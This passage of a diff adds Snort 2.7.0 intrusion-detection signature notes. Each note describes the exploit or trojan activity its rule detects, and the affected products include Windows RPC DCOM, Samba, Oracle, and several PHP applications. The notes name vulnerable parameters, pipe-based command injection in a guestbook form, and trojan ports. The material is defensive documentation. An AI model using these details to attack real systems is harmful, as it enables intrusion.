+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3396.txt
+++ snort-2.7.0/doc/signatures/3396.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3396
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2761.txt
+++ snort-2.7.0/doc/signatures/2761.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2761
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_priority_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1613.txt
+++ snort-2.7.0/doc/signatures/1613.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1613
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2333.txt
+++ snort-2.7.0/doc/signatures/2333.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+2333
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an FTP server.
+
+--
+Impact:
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious
+activity in FTP traffic between hosts.
+
+It is possible for a user to supply data to an FTP ommand and have it
+interpreted as code. The attacker might then be able to run code of
+their choosing with the privileges of the user running the FTP service.
+
+--
+Affected Systems:
+	PlatinumFTP PlatinumFTPserver 1.0.18
+
+--
+Attack Scenarios:
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a 
+host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000107.txt
+++ snort-2.7.0/doc/signatures/100000107.txt
@@ -0,0 +1,90 @@
+Rule: 
+
+--
+Sid: 
+100000107
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+Microsoft BizTalk Server DTA Interface.
+
+-- 
+
+Impact: 
+Attackers may retreive or modify sensitive in formation stored in the affected 
+database. Additionally, attackers may use the database's functionality to 
+execute arbitrary commands on the system with the priviliges of the user 
+running the script, typically Administrator.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the RawCustomSearchField.asp 
+module of the DTA Interface which contain the string "exec", which is required 
+to run commands on the host system. Thus, this rule does not detect generic SQL 
+injection attempts, only command execution attempts.
+
+--
+Affected Systems:
+Microsoft BizTalk Server 2000 Developer Edition SP2
+Microsoft BizTalk Server 2000 Developer Edition SP1a
+Microsoft BizTalk Server 2000 Developer Edition
+Microsoft BizTalk Server 2000 Enterprise Edition SP2
+Microsoft BizTalk Server 2000 Enterprise Edition SP1a
+Microsoft BizTalk Server 2000 Enterprise Edition
+Microsoft BizTalk Server 2000 Standard Edition SP2
+Microsoft BizTalk Server 2000 Standard Edition SP1a
+Microsoft BizTalk Server 2000 Standard Edition
+Microsoft BizTalk Server 2002 Developer Edition
+Microsoft BizTalk Server 2002 Enterprise Edition
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Patches which correct this problem are available from Microsoft.com.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+Microsoft BizTalk Server 2000 Enterprise Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Developer Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Standard Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+
+Microsoft BizTalk Server 2002 Enterprise Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+Microsoft BizTalk Server 2002 Developer Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+-- 
--- snort-2.7.0.orig/doc/signatures/1388.txt
+++ snort-2.7.0/doc/signatures/1388.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1388
+
+--
+Summary:
+This event is generated when a remote user attempts to send a NOTIFY directive with an overly long Location URL to an internal host's Universal Plug and Play (UPnP) server.
+
+--
+Impact:
+Attempted administrator access.  A successful attack may cause a denial of service or permit the execution of arbitrary code with administrator privileges.
+
+--
+Detailed Information:
+The UPnP is used to find network-based devices.  Specifically, UPnP NOTIFY directives are employed to advertise the existence of UPnP devices on the network.  A vulnerability exists that permits a malformed NOTIFY directive with an overly long Location URL to cause a buffer overflow on the remote host listening on UPnP.  The buffer overflow attack may permit the execution of arbitrary code on the host with administrator privileges.
+
+--
+
+Affected Systems:
+Microsoft Windows 98, 98SE, ME, XP
+
+--
+Attack Scenarios:
+An attacker may obtain craft a malformed NOTIFY directive to execute arbitrary code on the victim host.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+This event will be generated if external hosts are permitted to query for UPnP devices.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound UPnP traffic.
+
+--
+Contributors:
+Original rule writer unknown.
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0876
+
+--
--- snort-2.7.0.orig/doc/signatures/3051.txt
+++ snort-2.7.0/doc/signatures/3051.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3051
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2056.txt
+++ snort-2.7.0/doc/signatures/2056.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2056
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server using the TRACE command.
+
+--
+Impact:
+Possible disclosure of information.
+
+--
+Detailed Information:
+The TRACE method is used when debugging a webserver to ensure that 
+server returns information to the client correctly. When used with other
+vulnerabilities it is possible to use the TRACE method to return 
+sensitive information from a webserver such as authentication data and 
+cookies.
+
+This is known as a Cross Site Tracing (XST) attack.
+
+--
+Affected Systems:
+All platforms running a webserver that responds to the TRACE method.
+
+--
+Attack Scenarios:
+The attacker needs to perform a TRACE request to a vulnerable server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+The TRACE method is legitimate and may be used to debug a webserver or 
+can be used to debug other networking equipment.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the webserver from responding to TRACE requests.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/867593
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11213
+
+RFC:
+http://www.ietf.org/rfc/rfc2616.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/176.txt
+++ snort-2.7.0/doc/signatures/176.txt
@@ -0,0 +1,95 @@
+Rule:
+
+--
+Sid:
+146
+
+--
+Summary:
+Netsphere is a Trojan Horse offering the attacker access to the victims 
+filesystem, instant messaging clients and some control over peripherals.
+This event is generated when a Netsphere server responds to an attackers
+client.
+
+--
+Impact:
+Compromise of data integrity on the victim host as well as the 
+possibility of rendering the machine temporarily unusable.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Netsphere
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+The Trojan also gives the attacker the ability to access the victims 
+filesystem, turn the monitor on and off, control the mouse, access 
+instant messaging applications and render a pentium based machine 
+unusable.
+
+The Trojan is also known to use TCP ports 30100, 30101 and 30102.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NetSphereServer.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	NSSX
+
+Removal of this entry is required.
+
+Delete the file NetSphereServer.exe.
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS76
+
+--
--- snort-2.7.0.orig/doc/signatures/1041.txt
+++ snort-2.7.0/doc/signatures/1041.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1041
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3315.txt
+++ snort-2.7.0/doc/signatures/3315.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3315
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1883.txt
+++ snort-2.7.0/doc/signatures/1883.txt
@@ -0,0 +1,65 @@
+Rule:
+
+
+--
+Sid:
+
+1883
+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(nobody)" is an output of an "id" command indicating that the user
+has "nobody" account privileges, typically used by the web server
+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Attack Scenarios: 
+
+a buffer overflow exploit against the WWW server results in "/bin/sh" being executed. An automated script performing an attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives: 
+
+the signature will trigger if a legitimate system administrator executes the "id" command over the telnet connection which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: 
+
+not known
+
+-- 
+Corrective Action: 
+
+investigate the server for signs of compromise, run the integrity checking software, look for other IDS alerts involving the same IP addresses.
+
+--
+Contributors: 
+
+Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000748.txt
+++ snort-2.7.0/doc/signatures/100000748.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000748
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "rss.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "rss.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000372.txt
+++ snort-2.7.0/doc/signatures/100000372.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000372
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_styles.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_styles.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000508.txt
+++ snort-2.7.0/doc/signatures/100000508.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+100000508
+--
+Summary:
+This event is generated when an attempt is made to access the file "wakka.php 
+which contains known vulnerabilities in the "Wikkawiki" application running on 
+a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known 
+vulnerabilities from a remote machine used by the "Wikkawiki" application 
+running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Wikkawiki
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3032.txt
+++ snort-2.7.0/doc/signatures/3032.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3032
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2211.txt
+++ snort-2.7.0/doc/signatures/2211.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2211
+
+--
+Summary:
+This event is generated when an attempt is made to access guestserver.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in Lars Ellingsen's Guestbook system.
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+Lars Ellingsen's Guestbook system is a CGI application for web-based guestbooks. It contains a parsing vulnerability in guestserver.cgi where an attacker can place executable code within pipe characters (|) in front of an email address in the email value of a guestbook form. Because the pipe metacharacter is not properly filtered, code placed in the email value is executed with the security context of the web server.
+
+--
+Affected Systems:
+Any web server running Lars Ellingsen's Guestbook system.
+
+--
+Attack Scenarios:
+An attacker prepends shell commands between pipe characters to an email address in the email value of a guestbook entry. When the form data is submitted, the web server attempts to execute the commands. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses guestserver.cgi on an internal web server, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Because Lars Ellingsen's guestbook system does not appear to be currently maintained, you may want to use a different guestbook application. As a workaround, you can change the 1 that appears on the line beneath <-guestbook.mailto_guest-> to 0 in the guestbook.config file.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1807.txt
+++ snort-2.7.0/doc/signatures/1807.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1807
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000629.txt
+++ snort-2.7.0/doc/signatures/100000629.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000629
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_view.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
